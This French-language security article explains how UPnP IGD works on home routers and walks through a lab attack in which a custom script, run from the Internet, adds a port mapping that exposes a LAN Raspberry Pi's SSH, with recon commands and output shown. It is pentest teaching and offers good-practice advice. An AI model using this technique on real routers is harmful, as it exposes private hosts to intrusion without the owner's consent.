UPnP IGD (Internet Gateway Device)

Présentation d'UPnP

UPnP (Plug and Play) est un standard accessible publiquement ici. 

UPnP est composé d'une suite de protocoles destinée à simplifier la configuration et l’interopérabilité des équipements pour l’utilisateur. UPnP est très présent dans les équipements grand public comme les Box Internet, NAS, Smart TV, Set-Top-Box et autres lecteur Blu-Ray connectés.

UPnP IGD

Les modems/routeurs (Box) implémentent plusieurs profils UPnP dont IGD (Internet Gateway Device). UPnP IGD offre des mécanismes de RPC (Remote Procedure Call) pour la configuration ou l’interrogation transparente des Box sans authentification.

Les fonctions couramment implantées dans les Box sont l’interrogation de l’adresse IP publique, quelques métriques d'usage, la redirection de ports entrants (pour les jeux vidéo, les applications multimédia et la téléphonie comme Skype). La fonction de gestion de la configuration des serveurs DNS n’est heureusement jamais implémentée. Si c'était le cas, il serait possible de modifier le serveur DNS de tous les équipements derrière la Box, exposant ceux-ci au phishing ou à la fraude au clic. 

Ainsi, UPnP IGD permet d'effectuer de la redirection de port (ou port mapping), sans authentification ou autorisation et de manière transparente pour l'usager. En clair, c'est un protocole intéressant pour les pirates pour faire de la NAT traversal depuis Internet.

Le fonctionnement d'UPnP

UPnP est composé d’une suite de protocoles en unicast et multicast, utilisant TCP et UDP pour véhiculer des messages HTTP avec des méthodes spécifiques. Le schéma ci-dessous illustre les cinématiques des différentes phases d'UPnP.

Les phases et protocoles UPnP

Découverte et annonces, le protocole SSDP

Le protocole de découverte de services, nommé SSDP (Simple Service Discovery), effectue des annonces périodiques NOTIFY ou des requêtes de découvertes M-SEARCH. 

Ces annonces et requêtes sont limitées au LAN et sont basées sur des échanges HTTPMU (HTTP sur UDP en multicast). Le groupe multicast utilisé est 239.255.255.250 et le port UDP est 1900. 

La réponse à une requête M-SEARCH est basée sur HTTPU (HTTP sur UDP en unicast).

Le header Location de l’entête HTTP SSDP contient l’URL décrivant le service distant au format XML. 

La description de services

La phase de description de service fait usage de requête GET HTTP classique pour informer sur les services implémentés par le ‘Device’ (serveur). La partie cliente est appelée ‘Control Point’ dans le jargon UPnP. 

Un tag « SCPDURL » dans un format XML décrit le path nécessaire pour l’invocation de procédure à distance. 

L'invocation de services 

L’appel de fonctions à distance est la phase « Control ». Elle est exécutée via une requête POST HTTP sur TCP au format SOAP XML. Un header spécifique SOAPaction doit être présent dans l'entête HTTP et définir la fonction distante appeléé (ex: AddPortMapping).

La notification

Une gestion de notification d’événements existe mais elle ne sera pas mis en oeuvre ici. Elle sert à enregistrer des Control-Points désirant recevoir certains types de notifications lors de la survenance d'événements.

Passons à la pratique d'UPnP

Nous allons regarder de plus près comment interagir avec UPnP.

Ecoute d'annonce SSDP et recherche de services

Une écoute passive du réseau dans le LAN privé permet de voir les annonces de services SSDP NOTIFY en action. En utilisant Wireshark avec un filtre UDP port 1900, on capture les messages SSDP :

$ sudo tshark -i eth0 udp port 1900

Running as user "root" and group "root". This could be dangerous.

Capturing on 'eth0'

  0.000000  192.168.0.1 -> 239.255.255.250 SSDP 342 NOTIFY * HTTP/1.1

  0.000819  192.168.0.1 -> 239.255.255.250 SSDP 398 NOTIFY * HTTP/1.1

  0.001247  192.168.0.1 -> 239.255.255.250 SSDP 326 NOTIFY * HTTP/1.1

  0.001729  192.168.0.1 -> 239.255.255.250 SSDP 318 NOTIFY * HTTP/1.1

L’émission d’une requête M-SEARCH en SSDP permet de connaître l’URL de description des services. Le programme miranda est utilisé à cette fin. 

$ miranda

upnp> msearch

Entering discovery mode for 'upnp:rootdevice', Ctl+C to stop...

****************************************************************

SSDP reply message from 192.168.0.1:80

XML file is located at http://192.168.0.1:80/RootDevice.xml

Device is running UPnP/1.0 UPnP/1.0 UPnP-Device-Host/1.0

****************************************************************

****************************************************************

SSDP reply message from 192.168.0.1:1900

XML file is located at http://192.168.0.1:1900/WFADevice.xml

Device is running POSIX UPnP/1.0 UPnP Stack/6.37.14.87

****************************************************************

^CDiscover mode halted...

Nous constatons que deux systèmes répondent à des requêtes M-SEARCH.

upnp> host list

       [0] 192.168.0.1:80

       [1] 192.168.0.1:1900

Une interrogation de la Box est ciblée pour obtenir l’URL de la description des services du profil UPnP IGD.

upnp> host get 0

Requesting device and service info for 192.168.0.1:80 (this could take a few seconds)...

Host data enumeration complete!

upnp> host info 0

xmlFile : http://192.168.0.1:80/RootDevice.xml

name : 192.168.0.1:80

proto : http://

serverType : None

upnpServer : UPnP/1.0 UPnP/1.0 UPnP-Device-Host/1.0

dataComplete : True

deviceList : {}

Nous cherchons les tags « SCPDURL » du fichier RootDevice.xml qui contiennent les paths des services implémentés.

$ curl http://192.168.0.1:80/RootDevice.xml | grep "SCPDURL"

  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current

                                 Dload  Upload   Total   Spent    Left  Speed

100  2880  100  2880    0     0  29186      0 --:--:-- --:--:-- --:--:-- 29690

<SCPDURL>/Layer3Forwarding.xml</SCPDURL>

<SCPDURL>/WANCommonInterfaceConfig.xml</SCPDURL>

<SCPDURL>/WANIPConnection.xml</SCPDURL>

Nous possédons maintenant tous les éléments nécessaires pour monter une attaque contre cette implémentation UPnP IGD.

L'implémentation est elle robuste au NAT traversal ?

Bien que le standard UPnP ne soit pas précis concernant les règles applicables au Port Mapping (redirection de port), les bonnes pratiques exigent que seule une adresse du LAN interne puisse demander une redirection entrante et uniquement pour sa propre adresse. 

Remarque : Une requête demandant une redirection pour autrui devrait être refusée. En d’autres termes, seules les redirections vers le LAN privé sur l’interface interne (ici 192.168.0.0/24) doivent être autorisées. Aucune requête reçue sur l’interface externe, quelle que soit l’adresse source, ne doit être servie. Les redirections sont appliquées pour l’adresse du demandeur uniquement, par pour un tiers. Ces règles plus restrictives sont conformes à l’usage fait par les applications utilisant le PortMapping IGD (téléphonie, jeux, tunnel, etc.).

Tentative d'exploit depuis Internet

Les utilitaires UPnP disponibles publiquement ne permettent pas d’émettre uniquement la requête POST pour solliciter le service à distance. Ces programmes fonctionnent depuis le LAN privé car ils mettent en œuvre SSDP (i.e. multicast) préalablement pour découvrir tous les paramètres dynamiquement. Par respect des bonnes pratiques, ils n’effectuent pas (plus) de requêtes de redirection pour une adresse tierce.

Un code d’exploitation en python a été développé (voir en fin d'article) pour effectuer des redirections dérogeant aux règles des bonnes pratiques. Ce code n’exécute que la requête POST de la phase « Control » en SOAP XML avec les paramètres adéquats.

Une série de tests est effectuée pour des requêtes émises depuis l’interface interne pour des redirections d’autres adresses. La machine RPi joue le rôle de la victime dans le LAN (192.168.0.13). La machine Kali joue le rôle de l'attaquant est émet une requête UPnP depuis Internet.

Kali demande une redirection du port TCP 22 pour l'adresse de RPi en adressant la requête POST à l'adresse publique xx.xx.xx.xx:8080.

pascal@Kali:~$ upnp-sploit.py 

[*] POST to http://XX.XX.XX.XX:8080/WANIPConnection

[+] Success: adding TCP port from :22 -> 192.168.0.13:22

En listant les redirections de ports avec le client UPnP upnpc (de miniupnp) depuis le LAN privé, nous constatons que a règle de redirection est bien configurée :

pascal@Kali:~$ upnpc -l

upnpc : miniupnpc library test client. (c) 2006-2010 Thomas Bernard

Go to http://miniupnp.free.fr/ or http://miniupnp.tuxfamily.org/

for more information.

List of UPNP devices found on the network :

 desc: http://192.168.0.1:80/RootDevice.xml

 st: urn:schemas-upnp-org:device:InternetGatewayDevice:1

Found valid IGD : http://192.168.0.1:80/WANIPConnection

Local LAN ip address : 192.168.0.11

Connection Type : IP_Routed

Status : Connected, uptime=506520s, LastConnectionError : ERROR_NONE

  Time started : Fri Apr 10 15:42:08 2015

MaxBitRateDown : 100000000 bps   MaxBitRateUp 100000000 bps

ExternalIPAddress = XX.XX.XX.XX

 0 TCP    22->192.168.0.13:22    'Hack the rpi' ''

GetGenericPortMappingEntry() returned 713 (SpecifiedArrayIndexInvalid)

Dans la réponse, l'adresse publique a été anonymisée. upnpc effectue des requêtes pour tous les services à distance implémentés (connection type, status, uptime, last connection error, métrique d'usage, adresse IP externe et listage des port mapping).

Une tentative de connexion en SSH sur l’interface publique XX.XX.XX.XX de la Box redirige effectivement le flux vers le système RPi dans le LAN privé conformément à la règle de redirection. 

$ ssh pi@xx.xx.xx.xx

pi@xx.xx.xx.xx's password:

Linux rpi 3.18.10+ #774 PREEMPT Wed Mar 25 13:58:34 GMT 2015 armv6l

The programs included with the Debian GNU/Linux system are free software;

the exact distribution terms for each program are described in the

individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent

permitted by applicable law.

Last login: Thu Apr 16 09:27:41 2015 from xx-xx-xx-xx.rev.domain.fr

pi@rpi ~ $ ifconfig |grep 192.168

          inet adr:192.168.0.13  Bcast:192.168.0.255  Masque:255.255.255.0

La redirection a bien été appliquée et exécutée ! La connexion en SSH vers l'IP publique de la Box a bien été redirigée vers la machine RPi dans le LAN privé. 

L’acceptation de commandes de redirection pour une adresse tierce est critique et doit être absolument proscrite car UPnP IGD ne requiert aucune authentification. Dans la même veine, l'acceptation d'une requête venant de l'interface publique doit aussi être refusée. De telles commandes permettent de traverser les règles de firewall et exposent ainsi les systèmes privés depuis Internet.

Redirection de l'interface de management Web et proxy ouvert 

Une interface Web de management est disponible uniquement depuis le LAN interne de la Box sur le port 80. Une tentative de redirection vers d'un port externe, par exemple 8000, vers le port interne 80 n'a pas fonctionné sur ce modèle de Box.  Si cela avait été le cas, alors l'interface de management aurait été accessible depuis Internet avec l'authentification par défaut (bien connu pour cette Box). 

Dans le même esprit, une tentative de redirection d'une adresse publique vers une autre adresse publique n'a pas fonctionné. Cela aurait fourni un proxy ouvert vers un site publique spécifique permettant de masquer l'adresse d'origine du pirate lors d'une attaque. C'est l'adresse du propriétaire de la Box agissant en proxy qui serait vue par la victime de l'attaque. 

Conclusion

La qualité des implémentations UPnP IGD des modems routeurs est très variable. Certaines ne sont pas vulnérables quand d'autres sont ouvertes directement depuis Internet. 

UPnP est peu connu ou maîtrisé par les pentesteurs. C'est regrettable car le monde de l'entreprise est concerné. Par exemple, les imprimantes utilisent aussi UPnP. De surcroît, de nouveau profil voit le jour comme c'est le cas pour la domotique, ouvrant ainsi la voie à de nouveaux vecteurs d'attaque.  

Code de l'exploit

Code python upnp_sploit.py